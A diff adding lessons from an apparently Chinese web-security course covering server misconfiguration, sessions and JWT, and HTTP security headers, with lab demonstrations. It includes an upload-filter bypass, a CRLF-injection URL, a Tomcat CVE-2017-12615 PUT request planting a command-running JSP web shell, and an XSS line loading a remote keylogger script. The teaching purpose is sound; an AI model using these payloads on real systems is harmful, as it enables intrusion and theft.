这样,我们就做好了所有的前期准备工作。下面,我们一起来看这个安全隐患。
|
||||
|
||||
|
||||
|
||||
这是一个文件上传靶场,由于我们将它的安全等级设为高,所以它可以成功拦截所有PHP后缀的文件,这样做可以防止攻击者上传PHP恶意文件,从而保护Web应用的安全。
|
||||
|
||||
但是我们可以将恶意PHP文件名设置为test.php.xyz.jpg,这样就能绕过文件上传检测,成功将这个文件上传到images文件中。
|
||||
|
||||
其中这个test.php.xyz.jpg的内容为:
|
||||
|
||||
<?php phpinfo();?>
|
||||
|
||||
|
||||
之后,我们尝试对其进行访问,发现Apache服务器无法解析这一文件。所以这个Web应用目前是安全的,攻击者无法通过上传文件test.php.xyz.jpg去执行恶意的PHP代码。
|
||||
|
||||
|
||||
|
||||
如果我们在Apache的配置文件apache2.conf中加入这一项 AddHandler application/x-httpd-php .php。然后重启Apache2服务。
|
||||
|
||||
|
||||
|
||||
那么我们再次访问上传的文件,获得到的响应内容就变为如下:
|
||||
|
||||
|
||||
|
||||
这里可以看到,我们上传的恶意PHP代码已经被执行。这个Web应用不再安全。
|
||||
|
||||
在这个示例中,原本的Web应用是安全的,它成功拦截了以.php结尾的文件的上传,并且不允许用x-httpd-php来解析结尾不是.php的文件,这是无懈可击的,攻击者根本无法让这个Web应用去执行恶意PHP脚本。
|
||||
|
||||
可是,如果Web应用开发者,在配置文件中进行错误的配置,例如这里加上AddHandler application/x-httpd-php .php,就会使得Web应用可以用x-httpd-php来解析PHP类型的文件,就算它的结尾不是.php。这给了攻击者可乘之机,让Web应用处于危险之中。
|
||||
|
||||
到这里,你已经学完了Apache中的安全配置问题,这会让你对安全配置问题有更具体的理解。其实在Nginx中也会有安全配置问题,接下来我们就一起看看。
|
||||
|
||||
Nginx配置安全问题
|
||||
|
||||
Nginx是一个高性能的HTTP和反向代理Web服务器,我们可以在Unix以及Linux中运行它。它的应用非常广泛,我们熟知的百度、京东、新浪、网易以及腾讯都有使用到这款软件。
|
||||
|
||||
|
||||
|
||||
在使用这款软件时,我们必须正确的对它进行配置,否则容易导致一些安全问题。
|
||||
|
||||
例如,当Nginx配置不当,就会导致CRLF注入的发生。所谓CRLF其实就是两个字符,CR与LF,它们分别代表回车以及换行。事实上,在HTTP报文中,行与行之间使用的就是CRLF间隔。
|
||||
|
||||
接下来,为了帮助你更好地理解Nginx配置的安全问题,让我们一起来看一个示例吧。
|
||||
|
||||
下方代码是一个Nginx配置文件,你可能对它不太熟悉,不过不要着急,我会给你分析配置中的安全问题。
|
||||
|
||||
server {
|
||||
listen 8080;
|
||||
root /usr/share/nginx/html;
|
||||
index index.html;
|
||||
server_name _;
|
||||
location / {
|
||||
return 302 https://$host$uri;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
在这个Nginx配置文件中,存在问题的配置在最后一行,我们只需要关注这一部分即可。
|
||||
|
||||
return 302 https://$host$uri;
|
||||
|
||||
|
||||
这行代码,可以使得原本对主机的HTTP的请求,跳转到HTTPS请求上。我们可以将其中的 $host,简单理解为原始请求中的host信息,而 $uri 则是安全问题产生的关键,它代表着请求中解码后的请求路径。你可能觉得这里并没有什么问题,可如果攻击者将请求的URL信息设置为如下:
|
||||
|
||||
http://ip:port/%0a%0dSet-Cookie:%20a=test
|
||||
|
||||
|
||||
这个URL中,%0a经过解码之后就是CR,%0d经过解码之后则为LF,%20解码之后对应为空格。所以Nginx在对$uri进行解码时,会将%0a%0d解码为CRLF,这会使得HTTP报文换行,然后发起Set-Cookie的请求,这就是CRLF注入的效果。
|
||||
|
||||
下面,我们一起看上述内容的实例。注意,这里靶场中的Nginx配置和上面图片中一致。
|
||||
|
||||
|
||||
|
||||
我们首先访问了127.0.0.1:8080服务,发现Nginx成功让页面跳转到HTTPS服务,并且页面中也没有cookie信息。其中这里页面显示无法访问此网站,这是因为靶场仅用来演示Nginx配置问题,并没有实际页面支撑,所以导致没有页面内容返回,但它对我们的测试不会造成影响。
|
||||
|
||||
|
||||
|
||||
接着,我们对这个Web应用发起攻击,对127.0.0.1:8080/%0a%0dSet-Cookie:%20a=test进行访问,结果发现页面同样跳转为HTTPS服务,不过此时多出了响应Cookie信息。这表明我们的CRLF注入成功,并且成功执行了Set-Cookie指令。
|
||||
|
||||
现在,你已经了解了Nginx配置相关的安全问题,知道了它其实就是由CRLF注入导致的。接下来,让我们继续学习Tomcat中的安全配置问题吧。
|
||||
|
||||
Tomcat配置安全问题
|
||||
|
||||
首先,我们来了解下Tomcat是什么?
|
||||
|
||||
Tomcat 服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用。实际上,Tomcat是Apache服务器的扩展,但运行时它是独立运行的,所以当你运行Tomcat时,它实际上是作为一个与Apache独立的进程单独运行。
|
||||
|
||||
在对它有了一定的了解之后,我们来对Tomcat做一些安全性分析。Tomcat中存在一个知名的安全配置问题,它就是CVE-2017-12615。具体的问题体现为,当Tomcat运行在Windows主机上,并且在conf/web.xml的配置文件中将DefaultServlet readonly设置为false,那么如果它启用了HTTP PUT请求方法,就会导致任意写文件的安全问题发生。
|
||||
|
||||
接下来,让我们通过实战,加深一下对Tomcat配置安全问题的理解吧。
|
||||
|
||||
首先,登录谜团(mituan.zone)并选择【Tomcat专题:CVE-2017-12615】靶机,如果你可以看到如下页面,那就成功打开了我们的靶场。
|
||||
|
||||
|
||||
|
||||
其次,我们要测试一下是否可以上传文件到服务器目录下。具体的实践方式为,使用BurpSuite拦截该网页,获取到如下报文:
|
||||
|
||||
GET / HTTP/1.1
|
||||
Host: 45e308724beb41f1943f19e8652afb2e.app.mituan.zone:8080
|
||||
Cache-Control: max-age=0
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
|
||||
|
||||
然后我们将它进行修改为如下报文,并进行发送。
|
||||
|
||||
PUT /1.jsp/ / HTTP/1.1
|
||||
Host: 45e308724beb41f1943f19e8652afb2e.app.mituan.zone:8080
|
||||
Cache-Control: max-age=0
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
|
||||
<%
|
||||
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
|
||||
int a = -1;
|
||||
byte[] b = new byte[2048];
|
||||
out.print("<pre>");
|
||||
while((a=in.read(b)) != -1){
|
||||
out.println(new String(b));
|
||||
}
|
||||
out.print("</pre>");
|
||||
%>
|
||||
|
||||
|
||||
修改后的报文,可以向Tomcat服务器尝试写入1.jsp文件。其中1.jsp文件的内容为报文下方<% %>内的部分。这部分的功能就是获取get方式上传的参数i,并将它当作命令去执行。
|
||||
|
||||
接下来,我们去测试尝试的攻击行为是否成功。访问路径 /1.jsp?i= ls -l,其中 1.jsp 就是我们刚刚写入的文件,而 ?i=ls -l,这是通过get方式上传参数i,并将它的值设为 ls -l。
|
||||
|
||||
|
||||
|
||||
我们发现页面的响应为一些文件信息,这代表我们的 ls -l 命令运行成功,也代表这个Tomcat服务器存在安全配置问题。
|
||||
|
||||
到这里,我们已经知道安全配置错误的危害还是较为严重的,所以我们在设计一个Web应用时,要注意对安全配置错误的避免。接下来让我们进入到安全实践中,总结一下如何避免安全配置错误。
|
||||
|
||||
安全实践
|
||||
|
||||
为了避免安全配置错误的发生,我们在配置Web应用时需要遵守几个原则。
|
||||
|
||||
第一个原则为最小服务原则,我们需要将Web应用不需要的服务进行关闭或限制,防止攻击者通过这些服务发起恶意行为。
|
||||
|
||||
第二个原则为通用化的报错设置,即我们需要将Web应用的报错信息设置得通用化,使得报错信息中不包含错误发生的细节信息,防止因此导致的敏感信息泄露。
|
||||
|
||||
第三个原则为修改默认账户信息,我们需要将Web应用默认的账户信息进行修改,尽量让账户密码变得复杂,否则攻击者很容易就会猜出账户信息,登陆进Web应用的管理后台。
|
||||
|
||||
总结
|
||||
|
||||
在这节课程中,我们学习了安全配置错误。
|
||||
|
||||
首先,我们通过Django示例,来了解什么是安全配置错误。接着我们更加深入的对典型的Web应用安全配置问题进行了逐一的学习。
|
||||
|
||||
我们第一个学习的是Apache相关的安全配置问题。在对这一部分的学习中,我们通过上传一个扩展名复杂的文件,绕过了Web应用对于上传文件类型的检测过滤。然后再利用Apache配置不当的问题,使得这一文件被x-httpd-php解析成功。这样就使得攻击者可以实现任意PHP代码执行。
|
||||
|
||||
接下来,我们学习了Nginx相关的安全配置问题。在对它的学习中,我们了解到Nginx是一个高性能的HTTP和反向代理Web服务器。如果对于它的配置方式不当,就会使得CRLF注入的发生。然后我们通过示例,知道了攻击者可以通过CRLF注入进而实现对HTTP请求指令的设置。
|
||||
|
||||
接着,我们学习了Tomcat相关的安全配置问题,了解到如果对它的配置不当,就会产生任意写入文件问题。在实战部分中,我们还利用这个问题成功实现了任意命令执行操作。
|
||||
|
||||
最后,我们学习了如何抵御安全配置错误,了解到主要可以通过最小服务原则、通用化报错设置以及修改默认账户来提升我们Web应用的安全性。
|
||||
|
||||
思考题
|
||||
|
||||
除了这节课中提到的安全配置错误,你还能想到其他Web应用相关的安全配置错误吗?
|
||||
|
||||
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!
|
||||
|
||||
|
||||
|
||||
|
129
专栏/Web漏洞挖掘实战/29Session与Cookie:账户体系的安全设计原理.md
Normal file
129
专栏/Web漏洞挖掘实战/29Session与Cookie:账户体系的安全设计原理.md
Normal file
@ -0,0 +1,129 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
29 Session与Cookie:账户体系的安全设计原理
|
||||
你好,我是王昊天。
|
||||
|
||||
我有次在访问某个页面时,为了下载一些东西,按照页面要求进行了复杂的登录操作。之后我不小心关闭了当前页面,然后再一次点开这个页面,麻木的准备再来一遍复杂的登录操作时,我神奇地发现,面前的Web应用竟然是登录成功的状态,你知道这是怎么一回事吗?
|
||||
|
||||
事实上,这个现象是由Web账户体系的安全设计所导致的。在这一讲中,我们将会对它进行学习,这样你就能清楚地知道问题的答案啦。下面我们就正式开始今天的学习。
|
||||
|
||||
现在几乎每个大型Web应用都会存在账户体系,当我们需要获取Web应用中的某些服务时,Web应用会首先对我们的身份进行认证。所以接下来,我们会从身份认证的相关基础知识入手。
|
||||
|
||||
身份认证
|
||||
|
||||
身份认证的方式有多种,我们可以用最典型的账号密码进行认证,除此之外,我们还可以用cookie(session)、Token、数字证书以及手机验证码来验证。这里你可能对于cookie以及Token会比较陌生,不过不用担心,我们会在后面对它们进行详细的讲解。
|
||||
|
||||
|
||||
|
||||
在这些认证过程中,可以分为两种类型,即登录过程的认证以及保持登录的认证。
|
||||
|
||||
为了让你更好地理解它们二者之间的区别,我们一起来看一个示例。
|
||||
|
||||
|
||||
|
||||
这是谜团(mituan.zone)的登录页面,我们需要输入正确的用户名、密码以及验证码才能通过身份认证,很明显这是登录过程的认证。
|
||||
|
||||
当我们登录成功后,我们会发现浏览器中多了一些cookie信息。
|
||||
|
||||
|
||||
|
||||
这些cookie信息有一定的有效期。在有效期内,cookie信息会一直存在,它使得我们下次访问这个页面时,无需再次输入账号密码进行登录,而是可以直接用cookie信息来实现身份认证操作,这就是保持登录的认证。
|
||||
|
||||
你现在知道导入中神奇现象发生的原因了吗?其实在导入部分中的自动登录,就是通过保持登录的认证来实现的。而这种认证方式,主要是通过会话管理来实现的,接下来让我们简单了解下会话管理的作用。
|
||||
|
||||
会话管理
|
||||
|
||||
在学习会话管理之前,我们首先需要巩固下HTTP协议的知识。
|
||||
|
||||
HTTP协议是无状态无连接的协议,服务端对于客户端每次发送的请求都认为它是一个新的请求,上一次会话和下一次会话是没有联系的。因为它无法保存登录状态,所以从协议本身来说,它不适合用来做会话管理。
|
||||
|
||||
因此,我们会使用一个上层应用去实现我们的会话管理功能。这个应用可以在切换页面时保持登录状态,并且对用户是透明的,这样就使得我们能在短时间内再次访问一个登录过的页面,就会保持登录状态。
|
||||
|
||||
经过上述内容的学习,你已经知道了会话管理具有什么作用。接下来,让我们具体学习下会话管理的两种典型方式,即基于session的认证以及基于Token的认证。
|
||||
|
||||
基于 session 的认证
|
||||
|
||||
Web应用可以基于session的认证来实现保持登录,它的具体实现方式如下图所示:
|
||||
|
||||
|
||||
|
||||
用户在首次访问Web应用时,会将自己的账号密码通过POST方式进行上传,然后Web应用服务器会对账号密码进行检查。如果检查通过就会给用户配置一个sessionid,并将它存储在服务器内存中,之后再把这个sessionid发送给用户。
|
||||
|
||||
注意这里sessionid的位置可能在URL、隐藏域以及cookie中。由于cookie信息较为隐蔽些,所以将sessionid放在cookie中相对来说更为安全,因此这一实现方式也最普遍。
|
||||
|
||||
用户在收到Web应用服务器的回应之后,再次对Web应用发起请求的cookie中就会自动包含sessionid信息。Web应用服务器会对其中的sessionid信息进行检查,以获取用户的登录信息,如果信息正确,就让用户处于登录成功的状态,否则需要重新进行登录过程的认证。
|
||||
|
||||
值得一提的是,为了安全考虑,Web应用通常会给sessionid设置一个过期时间,使得sessionid仅在某个时间段内有效,这样就可以有效地抵御攻击者盗用sessionid绕过身份认证的行为。
|
||||
|
||||
到这里,我们已经学习了Web应用是如何利用session进行身份认证的。而这里还有一个很重要的知识点我们有必要深入了解一下,那就是在session进行身份认证中存在的典型攻击方式——会话固定攻击。
|
||||
|
||||
在之前的学习中,我们知道了sessionid可以存在于URL中。在这种情况下,如果登录前后sessionid不变化,那么攻击者就可以发起会话固定攻击。
|
||||
|
||||
这里我已经画出了会话固定攻击的示意图,让我们一起看看吧。
|
||||
|
||||
|
||||
|
||||
攻击者首先访问一个需要登录的网站,获取到Web应用返回的sessionid信息。由于攻击者没有账户密码,所以只能通过发送一个诱骗信息给受害者,使得受害者用这个sessionid实现登录操作。这样攻击者的sessionid就通过了验证,使得攻击者再次用这个sessionid信息访问被攻击网站时,可以直接通过保持登录的认证。
|
||||
|
||||
这就是将sessionid信息放在URL中的安全隐患。
|
||||
|
||||
基于 Token 的认证
|
||||
|
||||
除了基于session的认证之外,Web应用还可以利用Token来实现会话管理。
|
||||
|
||||
基于Token的认证方式,如下图所示,让我们从图中观察它是如何实现的吧。
|
||||
|
||||
|
||||
|
||||
用户首先需要通过POST方式上传账号密码信息,进行登录过程的认证,Web应用服务器接收到之后,会检查账号密码信息是否正确,如果正确就会生成一个包含密码信息的Token值,这里以JWT(JSON Web Token)为例。
|
||||
|
||||
之后服务器会将这个Token信息发送我们的浏览器,接着浏览器会将这个Token信息保存在Header中,使得以后每次请求的Header中都会包含这个Token信息。服务器在接收到Token信息后,会从中提取出用户的账户信息,并对此进行检测,然后将响应发送给我们的浏览器。
|
||||
|
||||
这就是基于Token的认证方式,下面让我们以JWT为例进行学习,深入地了解Token的具体形式。
|
||||
|
||||
|
||||
|
||||
上方方框中的内容是一个完整的JWT信息,它可以根据.分割成三个部分,我们将它不同的部分用不同的颜色进行显示。接下来,让我们逐一分析JWT各个部分的内容。
|
||||
|
||||
第一个部分经过base64解码就变为了蓝色方框中的内容,其中alg的内容设置的是signature中签名使用的算法,而typ的内容则定义了这个Token的类型。
|
||||
|
||||
第二部分解码为绿色方框中的内容,它包含了用户相关的信息,Web应用可以根据这些信息来确定用户的身份。
|
||||
|
||||
最后一部分解码为橙色方框中的内容,它包含了对Token信息的完整性验证签名。其中需要用到仅有服务器知道的secret信息,这也是导致攻击者无法伪造Token信息的关键。
|
||||
|
||||
以上就是JWT的组成结构。其中Header以及payload用到的都是些通用数据,攻击者很容易就可以伪造出来。唯一有难度的就是对secret签名部分的伪造,事实上,攻击者可以通过密钥爆破的方式,尝试进行Signature信息的伪造。一旦伪造成功,攻击者就可以以任意身份登录这个Web应用,这对Web应用来说是极大的威胁。所以Token信息的设计者,需要有意识地提高secret的复杂度。
|
||||
|
||||
到这里,你已经学习了会话管理的两种典型方式。接下来,让我们拓宽视野,简单了解下单点登录的知识。
|
||||
|
||||
单点登录
|
||||
|
||||
如今的Web应用越来越多,同一个公司可能就会研发出多个Web应用,如果每个应用都需要分开登录注册,那既会使得用户感到不方便,也会增加开发成本。为了解决这个问题,大家通常会采取单点登录方案。
|
||||
|
||||
单点登录就是用户只需要登录一次就可以访问所有相互信任的应用系统。它把认证的流程统一起来,使得认证的风险集中化。
|
||||
|
||||
|
||||
|
||||
这样,我们只需要在那统一的登录流程中做好安全认证措施,就可以实现对多个应用的身份认证。单点登录既能降低开发成本,也可以提高登录的安全性。
|
||||
|
||||
总结
|
||||
|
||||
这节课我们学习了账户体系的安全认证设计。
|
||||
|
||||
首先,我们学习了身份认证的方式,了解到除了我们熟悉的登录过程认证之外,还有保持登录认证这一种方式。
|
||||
|
||||
接着,我们深入学习了保持登录认证的方式,知道了它是由会话管理方法实现的。然后我们对基于session的会话管理以及基于Token的会话管理进行了全面的学习,我们不仅知道了它们保持登录认证的实现方式,还知道它们存在的安全隐患。
|
||||
|
||||
最后,我们了解了一个面对多个应用需要登录验证时的解决方案,即单点登录。使用单点登录既可以统一管理所有的登录认证,还可以降低多个Web应用的开发成本。
|
||||
|
||||
思考题
|
||||
|
||||
你知道在基于session的保持登录认证中,为什么将session信息放置在cookie中会更加安全吗?
|
||||
|
||||
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!
|
||||
|
||||
|
||||
|
||||
|
186
专栏/Web漏洞挖掘实战/30HTTPHeader安全标志:协议级别的安全支持.md
Normal file
186
专栏/Web漏洞挖掘实战/30HTTPHeader安全标志:协议级别的安全支持.md
Normal file
@ -0,0 +1,186 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
30 HTTP Header安全标志:协议级别的安全支持
|
||||
你好,我是王昊天。
|
||||
|
||||
前几天,我在路上遇到了一个外国友人,他用英语问我如何前往上海火车站。我一时没缓过神,直接用中文回答他,乘坐一号线就可以到达。看着他迷茫的眼神,我反应了过来,接着赶忙用英语来回答他。还好我英文不错,他听懂了,在对我说了声谢谢后就走上了一号线。
|
||||
|
||||
事后,我反思了一下,我们人和人之间的沟通,其实都会按照一个隐形的协议去进行,例如我会中文和英文,外国友人却只会英文,所以我们就需要用英文才能进行沟通。
|
||||
|
||||
那么你知道我们是如何与Web应用进行有效通信的吗?事实上,我们与Web应用的交互也离不开一个广泛运用的协议—— HTTP协议。这个协议规定了,Web客户端如何从Web服务器请求Web页面,以及服务器如何把Web页面传送给客户端。
|
||||
|
||||
除了这些广为人知的作用,HTTP协议还能对Web应用提供一些安全支持。这一讲,我们就一起学习下HTTP协议对于安全有哪些支持。
|
||||
|
||||
HTTP协议
|
||||
|
||||
首先,我们需要搞清楚什么是HTTP协议。
|
||||
|
||||
HTTP协议,即超文本传输协议Hyper Text Transfer Protocol。它是一个简单的请求-响应协议,且通常运行在TCP协议之上。它指定了客户端可能发送给服务器什么样的消息以及得到什么样的响应。这个协议是早期Web成功的有功之臣,因为它使开发和部署非常得直截了当。
|
||||
|
||||
|
||||
|
||||
在了解完HTTP协议的大致功能后,让我们一起看一个示例,了解HTTP协议所规定的消息样式。
|
||||
|
||||
这是我访问百度页面时,用BurpSuite捕获到的报文:
|
||||
|
||||
GET / HTTP/1.1
|
||||
Host: www.baidu.com
|
||||
Cookie: BIDUPSID=D6FC148CB0142694E6019498ECE6FA8F; PSTM=1644916942;
|
||||
...
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
|
||||
|
||||
我们可以看到,这是一个请求报文,报文中第一行内容为HTTP请求的方式,以及所用到的HTTP协议版本。其它行都是定义的HTTP请求头信息,即HTTP Request Header信息。
|
||||
|
||||
将请求报文发出后,我们会收到Web应用返回的响应报文:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Bdpagetype: 1
|
||||
Bdqid: 0xeafae0b1000f161a
|
||||
Cache-Control: private
|
||||
Content-Type: text/html;charset=utf-8
|
||||
Date: Tue, 15 Feb 2022 12:35:42 GMT
|
||||
Expires: Tue, 15 Feb 2022 12:35:31 GMT
|
||||
Server: BWS/1.1
|
||||
Set-Cookie: BDSVRTM=0; path=/
|
||||
Set-Cookie: BD_HOME=1; path=/
|
||||
Set-Cookie: H_PS_PSSID=35410_35104_31254_34584_35491_35872_35796_35324_26350_35746; path=/; domain=.baidu.com
|
||||
Strict-Transport-Security: max-age=172800
|
||||
...
|
||||
<!DOCTYPE html><!--STATUS OK-->
|
||||
<html>...</html>
|
||||
|
||||
|
||||
我们可以发现,响应报文的第一行也是所使用的HTTP协议版本信息,后面会跟上响应的状态码。下面几行,会包含一些HTTP Response Header即HTTP响应头信息。最后,从标签开始,是响应页面的内容。
|
||||
|
||||
到这里,我们已经知道了HTTP协议的作用,并且对HTTP请求报文和响应报文都有了一定的了解。接下来,让我们来学习HTTP Header中的安全标志,了解HTTP协议为了保证Web应用的安全做出了哪些应对措施。
|
||||
|
||||
HTTP Header安全标志
|
||||
|
||||
HTTP协议可以分为请求与响应两部分,所以HTTP Header按照功能也可以分为HTTP请求头以及HTTP响应头。
|
||||
|
||||
其中请求头包含了有关要获取资源的客户端信息,而响应头则包含一些有关响应的附加信息。因此,有关安全的HTTP头,都被设在HTTP响应标头中。下面,让我们一起看几个典型的HTTP安全响应头,它们都是用于定义是否应在Web浏览器上激活一些安全预防措施。
|
||||
|
||||
HSTS标志
|
||||
|
||||
HSTS标头即HTTP Strict Transport Security的简称,它是Web应用使用最广泛的安全标志之一。这个标志会告诉浏览器只能通过HTTPS协议访问当前资源,而不可以使用HTTP访问。
|
||||
|
||||
这里,我们来了解下什么是HTTPS协议。
|
||||
|
||||
这还要从HTTP协议说起,虽然HTTP协议使用极为广泛,但是却存在不小的安全缺陷,主要是其数据的明文传送和消息完整性检测的缺乏,而这两点恰好是网络支付等新兴应用中安全方面最需要关注的。
|
||||
|
||||
关于HTTP的明文数据传输,最常用的攻击手法就是网络嗅探。攻击者可以试图从传输过程当中分析出敏感的数据,例如从管理员对Web程序后台的登录过程中,攻击者可以从中获取网站的账号密码,从而获取网站管理权限。
|
||||
|
||||
另外,HTTP在传输客户端请求和服务端响应时,唯一的数据完整性检验就是在报文头部包含了本次传输数据的长度,而对内容是否被篡改不作确认。 因此攻击者可以轻易地发动中间人攻击,修改客户端和服务端传输的数据,甚至在传输数据中插入恶意代码只需要保证传输数据长度不变即可。
|
||||
|
||||
为了解决这个问题,HTTPS协议应运而生,它是由HTTP加上TLS/SSL协议构建的可进行加密传输、可检测消息完整性的网络协议。因此,当我们使用HTTPS访问一个页面时,会更有安全保障。
|
||||
|
||||
接下来,让我们通过一个示例,来体会HSTS标志的作用。
|
||||
|
||||
我们先使用HTTP协议访问百度,获取到如下报文:
|
||||
|
||||
|
||||
|
||||
从报文中,我们可以看到请求发出后,收到了响应302,这意味着需要进行跳转操作。从location信息中,我们发现它会跳转到百度的HTTPS服务。
|
||||
|
||||
|
||||
|
||||
接着,我们果然看到一个发往https://www.baidu.com的请求报文,并且在请求报文中,配置了Strict-Transport-Security,并且给它赋值为max-age=172800,这意味着该配置的有效时间为172800秒,即48小时。
|
||||
|
||||
为了方便观察,我们清空HTTP history中的记录,再次用HTTP协议访问百度页面,获取到的记录如下:
|
||||
|
||||
|
||||
|
||||
可以看到我们的HTTP访问直接变为了更安全的HTTPS访问,这就是HSTS标志的作用。
|
||||
|
||||
到这里,我们已经学完了HTTP协议的第一个安全标志。接下来,让我们继续学习其他的安全标志。
|
||||
|
||||
CSP标志
|
||||
|
||||
不知道你是否还记得CSP即Content-Security-Policy,我们在之前学习XSS攻击的防御时曾提到过这一防御方案。事实上,它也是一个HTTP安全响应头,我们可以利用它来定义页面可以加载哪些资源。
|
||||
|
||||
这么说可能有点抽象,下面让我们一起看一个示例,来帮助我们理解CSP的作用。
|
||||
|
||||
Content-Security-Policy: script-src 'self'
|
||||
|
||||
|
||||
这是一个CSP标志配置示例,它的值为 script-src 'self',这代表会对JavaScript代码的加载做一些限制,仅允许加载与Web页面相同来源的JavaScript代码。注意,这里的相同来源指的是相同的协议、域名和端口。
|
||||
|
||||
回顾我们用XSS攻击实现按键记录的过程,我们需要利用如下语句加载恶意服务器上的 keylogger.js 的内容,从而实现按键记录功能。
|
||||
|
||||
<script%20src=http://192.168.3.193/keylogger.js></script>
|
||||
|
||||
|
||||
可如果被攻击的Web应用添加了上述CSP策略,就会导致我们的JavaScript代码加载失败,从而无法实现我们的攻击行为。
|
||||
|
||||
下面,让我们继续学习X-Frame-Options安全标志的功能。
|
||||
|
||||
X-Frame-Options标志
|
||||
|
||||
X-Frame-Options响应头也是一个重要的HTTP Header安全标志,它用来配置是否允许一个页面可在 、、 或者 中展现设置的内容。
|
||||
|
||||
接下来,我们一起来看一个示例:
|
||||
|
||||
X-Frame-Options: DENY
|
||||
|
||||
|
||||
在这个示例中,我们将它的值设为DENY,表示该页面不允许在frame等上述标签中展示任何内容。事实上,它还有两个可能取值SAMEORIGIN以及ALLOW-FROM uri。其中SAMEORIGIN代表仅允许在上述标签中展示与当前页面域名相同的内容,而ALLOW-FROM uri则代表仅允许在其中展示uri对应页面的内容。
|
||||
|
||||
还记得我们在XSS学习中,曾今利用XSS攻击实现了广告的植入操作,产生的效果如下图所示:
|
||||
|
||||
|
||||
|
||||
如果Web应用在响应中配置了这一标签,那么就可以有效地抵御广告的植入。
|
||||
|
||||
接下来,我们继续来学习另一个常用的HTTP协议响应头,即Access-Control-Allow-Origin,它可以用来进行资源的访问权限设置。
|
||||
|
||||
Access-Control-Allow-Origin标志
|
||||
|
||||
Access-Control-Allow-Origin标志指定了该响应的资源是否被允许与给定的origin共享。
|
||||
|
||||
为了让你更好地理解,下面让我们一起来看一些示例:
|
||||
|
||||
Access-Control-Allow-Origin: *
|
||||
# 或
|
||||
Access-Control-Allow-Origin: https://mituan.zone
|
||||
|
||||
|
||||
它有两种配置方式,第一种将它的值设为*,这代表允许所有域名访问当前响应的资源。第二种将它的值设为一个具体的uri,这代表仅允许该域名访问当前响应的资源。因此,Access-Control-Allow-Origin标志可以使网站之间安全地跨域获取资源。
|
||||
|
||||
最后,我们来看一个相对熟悉一些的HTTP响应头Set-Cookie。
|
||||
|
||||
Set-Cookie标志
|
||||
|
||||
在上一讲中,我们学习了保持登陆状态的认证,事实上,它就是通过Set-Cookie来实现的。
|
||||
|
||||
Set-Cookie标志不仅可以用来配置浏览器的Cookie信息,同时它还能对Cookie信息进行一些保护。下面,还是一起看一个示例:
|
||||
|
||||
Set-Cookie: <cookie-name>=<cookie-value>; Secure; HttpOnly
|
||||
|
||||
|
||||
在这个示例中,我们写入了一个cookie的值,同时在后面加了两个配置项,Secure以及HttpOnly。其中Secure的作用是强制cookie只能在HTTPS环境下传递,而HttpOnly则可以禁止使用JavaScript去存取cookie。它们都可以有效地保护cookie信息,防止攻击者窃取cookie。
|
||||
|
||||
总结
|
||||
|
||||
在这一讲中,我们学习了HTTP Header对于Web提供的协议级别的安全支持。
|
||||
|
||||
首先,我们回顾了HTTP协议的内容,并对请求报文的格式以及响应报文的格式等基础知识进行了学习与回顾。
|
||||
|
||||
在学习基础知识的过程中,我们了解到在响应报文中,会存在一些HTTP Header信息。其中,有的HTTP Header内容可以对我们的Web应用进行保护。
|
||||
|
||||
最后我们对其中常用的五个典型HTTP Header进行了学习。它们分别为HSTS标志、CSP标志、X-Frame-Options标志、Access-Control-Allow-Origin标志以及Set-Cookie标志。在学习过程中,我们了解了它们的作用,并通过示例理解了它们的配置方式。
|
||||
|
||||
思考题
|
||||
|
||||
你知道还有哪些HTTP Header可以对Web应用提供安全支持吗?
|
||||
|
||||
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!
|
||||
|
||||
|
||||
|
||||
|
200
专栏/Web漏洞挖掘实战/31易受攻击和过时的组件:DevSecOps与依赖项安全检查.md
Normal file
200
专栏/Web漏洞挖掘实战/31易受攻击和过时的组件:DevSecOps与依赖项安全检查.md
Normal file
@ -0,0 +1,200 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
31 易受攻击和过时的组件:DevSecOps与依赖项安全检查
|
||||
你好,我是王昊天。
|
||||
|
||||
不知道你是否听说过木桶效应?我们可以看下图这个木桶,假设它的底面为一整块木板,桶身由15块木板组成。现在,我们需要用这个木桶装尽可能多的水,显而易见,它能装水的数量仅与木板中高度最低的相关。
|
||||
|
||||
|
||||
|
||||
其实对于Web应用的安全性来说,木桶效应同样有效。假设我们的Web应用运用了多个组件,例如Struts、Apache,那么它的安全强度也是由这些组件中最脆弱的一个所决定。所以在我们开发一个Web应用时,需要确保每一个组件都不存在已知的安全问题。
|
||||
|
||||
那么这节课,就让我们一起学习下Web应用中组件的安全问题吧。
|
||||
|
||||
易受攻击和过时的组件
|
||||
|
||||
